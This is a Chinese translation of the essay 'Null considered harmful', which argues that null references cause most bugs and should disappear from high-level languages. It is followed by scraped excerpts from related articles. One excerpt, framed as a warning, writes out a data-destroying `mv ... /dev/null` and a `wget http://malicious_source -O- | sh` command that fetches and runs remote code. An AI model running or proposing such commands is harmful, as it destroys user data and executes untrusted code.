翻译自:
http://peat.org/2013/12/07/null-considered-harmful/
在几乎所有我参与的项目里,我遇到的多数的错误都是由 null 引用引起的。许多在编译或测试阶段被发现,但总有漏网之鱼,很少有项目可以幸免。它们出现在各种地方:Web应用,桌面应用,嵌入式软件,游戏主机,移动设备——几乎只要有软件的地方,就有 null 异常。
什么导致了这些 bug ?
多数情况,是因为程序员没有在使用一个变量之前,先检查一个它是否为 null,而 null 出现的频率比我们想象中的更多: 它们也许来自于数据库,来自想表达数据缺失的API调用,又或者是某种竞争条件,还可能是难以计数的程序员无法考虑到的其他场景。
与 null 引用作斗争是作为一名程序员的日常工作,因为 null 引用是多数编程语言的“有用特性”之一:它的存在有时会存在混淆,或者为了表达一个值不可用,又或者是在一个值域或者结构里为“空”值留下位置。
null 的问题是它是任意变量都可以被设的值,任意变量都有被意外地设为 null 引用的顾虑。的确有那么一些明显并琐碎的情况不值得我们去担心,但是对于现在这种意外 null 引用泛滥的情况,的确是一个问题。
让我们稍微离题去看看另一个问题:内存管理。
对于使用显式(手动)内存管理的语言的程序员,需要非常有纪律性,否则他们的代码将面临内存溢出,野指针或者其他相关的问题。
这变成了一个足够大的问题,以至于语言设计者决定程序员应该从内存管理机制中解放。虽然程序员仍然需要考虑内存的使用效率,但他们已经不用显示操作分配多少内存等细节。让程序员远离内存管理消除了相当的一部分负担。
那么,相似的观点在 null 异常方面应该是什么呢?
对于使用显式 null 赋值和检查的程序员,需要非常有纪律性,否则他们的代码将面对各种意外的 null 引用问题。
null 引用已经变成了足够大的问题,以至于程序员应该从 null 的赋值和检查中解放。虽然程序员仍然会纠结于有歧义的数据和值域的占位符,但是他们已经不用显式赋值和检查 null 值。让程序员远离内存管理同样消除了相当的一部分负担。
(上面两段)听起来很相似?
从另一个角度而言,支持 null 引用的语言将更容易引起错误,并让技术缺陷不断累积——正如支持显式内存管理的语言,会更容易引起错误,并让技术缺陷不断累积一样。
用 Dijkstra 的话来说,我坚信 null 引用会从所有的“高级”语言中消失。
相关推荐
Eclipse外部null注释(EEA) 该存储库包含* .eea文件和示例项目如何使用它。 如果您喜欢/使用此项目,请在GitHub上使用Star / Watch / Follow。如何使用此,以获取有关此项目的一些背景知识。 为了正确地在Eclipse ...
StandardJavaFileManager fileManager = compiler.getStandardFileManager(null, null, null); ForwardingJavaFileManager<StandardJavaFileManager> forwardingFileManager = new ForwardingJavaFileManager(file...
5. **防御性编程**:编写代码时,始终假设输入可能是有害的,并进行必要的验证。 理解并解决CWE476是提高软件质量,尤其是安全性的重要一步。开发者应持续学习和实践良好的编程习惯,遵循最佳实践,以降低这种类型...
Malicious code vulnerability: 存在漏洞的有害代码 Multithreaded correctness: 多线程正确性 Performance:性能 Security:安全 Dodgy: 欺骗性代码 2、 常见Bug以及处理办法 a) 不需要处理 May expose internal ...
第四,`mv 文件夹 /dev/null`会将指定的文件夹内容移动到黑洞设备`/dev/null`,所有数据都将被清除,无法找回。确保在执行这类命令时,你清楚自己的意图。 第五,`wget http://malicious_source -O- | sh`是一个从...
1. **基本语法**:这部分是JavaScript学习的起点,包括变量声明(var、let、const)、数据类型(如字符串、数字、布尔、null、undefined)、操作符(算术、比较、逻辑)、流程控制(条件语句if...else、switch,循环...
2. 计算机安全概念:计算机安全指的是保护计算机信息系统资源和信息资源免受自然和人为有害因素的威胁和危害,选项D涵盖所有方面。 3. 数据库系统的三级模式结构:数据库系统的三级模式结构包括模式(概念模式)、...
14. 使用`=== null`检查:在检查是否为`null`时,直接使用`=== null`,而不是`== null`,以避免与`undefined`值混淆。 15. 掌握原型和继承:理解JavaScript的原型链和对象继承机制,可以更好地利用面向对象编程。 ...
通过设置合适的约束条件,如NOT NULL、UNIQUE、FOREIGN KEY,可以防止有害数据的输入。定期的数据清理和验证也是保证数据质量的重要步骤。 5. **其他小技巧** 除了以上四部分,还有一些小技巧能优化数据库设计,如...
- 通过设置合适的约束(如NOT NULL、UNIQUE、FOREIGN KEY)确保数据的完整性和一致性。 - 限制有害数据的输入,如使用输入验证、触发器等手段。 7. **索引策略**: - 索引能提升查询性能,但过度索引可能导致...
- **验证**:确保Class文件的字节流包含的信息符合当前虚拟机的要求,防止有害的类文件危害虚拟机自身安全。 - **准备**:为类变量分配内存,并设置类变量初始值。 - **解析**:将常量池内的符号引用替换为直接引用...
4. **Malicious code vulnerability**(存在漏洞的有害代码):这类问题可能会使程序容易受到恶意攻击。 5. **Multithreaded correctness**(多线程正确性):涉及多线程编程中的问题,如竞态条件等。 6. **...
- 数据的安全性至关重要,因为用户输入可能包含有害的SQL语句。在PHP中,`mysql_real_escape_string()`和哈希验证(`$real_hash == $hash`)是用来防止SQL注入攻击的手段。 4. **网络通信**: - Unity3D通过`WWW`类...
1. **警告对话框**:这种类型的对话框通常用于向用户显示警告信息,例如程序检测到可能有害的操作。警告对话框通常包含“确定”和“取消”按钮,让用户确认是否继续执行操作。 2. **询问对话框**:询问对话框会提出...
然而,最佳实践是使用预处理语句(如PDO或MySQLi的预处理语句)来构建SQL查询,这可以确保即使输入包含恶意代码,也不会执行任何有害操作。在PHP开发中,结合使用这些方法可以提高应用程序的安全性。
- 配置文件下载,例如通过设置 `setContentDisposition(null)` 来防止浏览器自动打开文件。 - 下载指定文件,如 `su.downloadFile("/upload/test.doc");` 4. 示例代码解析: 在示例代码中,可以看到JSP页面导入...
在Struts2中,输入验证是确保数据质量的关键步骤,它防止了无效或有害的数据进入系统,从而保护了应用程序的稳定性和安全性。在这个“struts2输入验证例子”中,我们将探讨Struts2中的两种主要验证方式:`...
- **设置Content-Disposition**:使用 `setContentDisposition(null)` 可以防止浏览器自动打开下载的文件,而是让用户自行选择打开方式或保存文件。 - **下载文件**:通过 `downloadFile()` 方法,你可以指定文件...